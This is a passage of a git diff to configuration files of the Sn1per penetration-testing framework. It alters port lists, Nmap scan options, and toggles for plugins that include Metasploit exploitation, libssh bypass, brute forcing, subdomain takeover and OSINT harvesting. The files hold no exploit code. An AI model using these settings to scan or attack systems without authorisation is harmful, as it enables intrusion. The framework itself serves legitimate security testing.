8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="1" +SSH_ENUM="1" +LIBSSH_BYPASS="1" +SMTP_USER_ENUM="1" +FINGER_TOOL="1" +SHOW_MOUNT="1" +RPC_INFO="1" +SMB_ENUM="1" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="1" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="1" +METAGOOFIL="1" +HUNTERIO="1" +INTODNS="1" +EMAILFORMAT="1" +ULTRATOOLS="1" +URLCRAZY="1" +VHOSTS="1" +H8MAIL="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="1" +WHATWEB="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="1" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="0" +AQUATONE="0" +SLURP="0" +SUBLIST3R="1" +AMASS="1" +SUBFINDER="1" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="1" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="1" +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/super_stealth_mode b/conf/super_stealth_mode index 7b5a4e3..6d7c03f 100644 --- a/conf/super_stealth_mode +++ b/conf/super_stealth_mode @@ -16,14 +16,14 @@ AUTOBRUTE="0" FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" -ONLINE="" +# ONLINE="1" REPORT="1" LOOT="1" -METASPLOIT_IMPORT="0" +SC0PE_VULNERABLITY_SCANNER="1" # SN1PER PROFESSIONAL SETTINGS SNIPER_PRO_CONSOLE_OUTPUT="0" -SN1PER_AUTOLOAD="0" +SN1PER_AUTOLOAD="1" MAX_HOSTS="2000" # DEFAULT BROWSER @@ -41,13 +41,14 @@ OPENVAS_USERNAME="admin" OPENVAS_PASSWORD="" # METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" MSF_LHOST="127.0.0.1" MSF_LPORT="4444" # SHODAN API KEY SHODAN_API_KEY="" -# API KEYS +# CENSYS API KEYS CENSYS_APP_ID="" CENSYS_API_SECRET="" @@ -58,26 +59,26 @@ HUNTERIO_KEY="" GITHUB_API_KEY="" # SLACK API -SLACK_NOTIFICATIONS="0" SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" SLACK_NOTIFICATIONS_THEHARVESTER="0" SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" -SLACK_NOTIFICATIONS_DOMAINS_NEW="1" -SLACK_NOTIFICATIONS_TAKEOVERS_NEW="1" -SLACK_NOTIFICATIONS_SUBOVER_NEW="1" -SLACK_NOTIFICATIONS_SUBJACK_NEW="1" -SLACK_NOTIFICATIONS_S3_BUCKETS="1" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" SLACK_NOTIFICATIONS_SUBNETS="0" -SLACK_NOTIFICATIONS_DIRSEARCH_NEW="1" -SLACK_NOTIFICATIONS_SPIDER_NEW="1" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" SLACK_NOTIFICATIONS_WHATWEB="0" -SLACK_NOTIFICATIONS_NMAP="1" -SLACK_NOTIFICATIONS_NMAP_DIFF="1" -SLACK_NOTIFICATIONS_BRUTEFORCE="1" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" SLACK_NOTIFICATIONS_WHOIS="0" SLACK_NOTIFICATIONS_METAGOOFIL="0" -SLACK_NOTIFICATIONS_ARACHNI_SCAN="1" -SLACK_NOTIFICATIONS_EMAIL_FORMAT="1" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" @@ -106,7 +107,7 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="-Pn -sS --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" @@ -122,6 +123,7 @@ THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="0" SHOW_MOUNT="0" RPC_INFO="0" @@ -175,6 +177,7 @@ WAYBACKMACHINE="1" SSL="0" PASSIVE_SPIDER="1" HACKERTARGET="1" +GUA="1" CUTYCAPT="0" WEBSCREENSHOT="1" @@ -202,4 +205,5 @@ SHODAN="1" ASN_CHECK="1" SPYSE="1" SUBBRUTE_DNS="0" -GITHUB_SUBDOMAINS="1" \ No newline at end of file +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/super_stealth_mode_OSINT b/conf/super_stealth_mode_OSINT index 68fa801..1b7192a 100644 --- a/conf/super_stealth_mode_OSINT +++ b/conf/super_stealth_mode_OSINT @@ -16,14 +16,14 @@ AUTOBRUTE="0" FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" -ONLINE="" +# ONLINE="1" REPORT="1" LOOT="1" -METASPLOIT_IMPORT="0" +SC0PE_VULNERABLITY_SCANNER="1" # SN1PER PROFESSIONAL SETTINGS SNIPER_PRO_CONSOLE_OUTPUT="0" -SN1PER_AUTOLOAD="0" +SN1PER_AUTOLOAD="1" MAX_HOSTS="2000" # DEFAULT BROWSER @@ -41,13 +41,14 @@ OPENVAS_USERNAME="admin" OPENVAS_PASSWORD="" # METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" MSF_LHOST="127.0.0.1" MSF_LPORT="4444" # SHODAN API KEY SHODAN_API_KEY="" -# API KEYS +# CENSYS API KEYS CENSYS_APP_ID="" CENSYS_API_SECRET="" @@ -58,26 +59,26 @@ HUNTERIO_KEY="" GITHUB_API_KEY="" # SLACK API -SLACK_NOTIFICATIONS="0" SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" SLACK_NOTIFICATIONS_THEHARVESTER="0" SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" -SLACK_NOTIFICATIONS_DOMAINS_NEW="1" -SLACK_NOTIFICATIONS_TAKEOVERS_NEW="1" -SLACK_NOTIFICATIONS_SUBOVER_NEW="1" -SLACK_NOTIFICATIONS_SUBJACK_NEW="1" -SLACK_NOTIFICATIONS_S3_BUCKETS="1" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" SLACK_NOTIFICATIONS_SUBNETS="0" -SLACK_NOTIFICATIONS_DIRSEARCH_NEW="1" -SLACK_NOTIFICATIONS_SPIDER_NEW="1" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" SLACK_NOTIFICATIONS_WHATWEB="0" -SLACK_NOTIFICATIONS_NMAP="1" -SLACK_NOTIFICATIONS_NMAP_DIFF="1" -SLACK_NOTIFICATIONS_BRUTEFORCE="1" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" SLACK_NOTIFICATIONS_WHOIS="0" SLACK_NOTIFICATIONS_METAGOOFIL="0" -SLACK_NOTIFICATIONS_ARACHNI_SCAN="1" -SLACK_NOTIFICATIONS_EMAIL_FORMAT="1" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" @@ -106,7 +107,7 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" @@ -122,6 +123,7 @@ THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="0" SHOW_MOUNT="0" RPC_INFO="0" @@ -130,7 +132,7 @@ AMAP="0" YASUO="0" # OSINT PLUGINS -WHOIS="0" +WHOIS="1" GOOHAK="1" INURLBR="1" THEHARVESTER="1" @@ -139,10 +141,10 @@ HUNTERIO="1" INTODNS="0" EMAILFORMAT="1" ULTRATOOLS="1" -URLCRAZY="0" +URLCRAZY="1" VHOSTS="0" H8MAIL="1" -GITHUB_SECRETS="0" +GITHUB_SECRETS="1" # ACTIVE WEB PLUGINS BURP_SCAN="0" @@ -175,6 +177,7 @@ WAYBACKMACHINE="1" SSL="0" PASSIVE_SPIDER="1" HACKERTARGET="1" +GUA="1" CUTYCAPT="0" WEBSCREENSHOT="1" @@ -202,4 +205,5 @@ SHODAN="1" ASN_CHECK="1" SPYSE="1" SUBBRUTE_DNS="0" -GITHUB_SUBDOMAINS="1" \ No newline at end of file +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/web_mode_all_plugins b/conf/web_mode_all_plugins new file mode 100644 index 0000000..2611335 --- /dev/null +++ b/conf/web_mode_all_plugins @@ -0,0 +1,209 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent='' --open" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,1383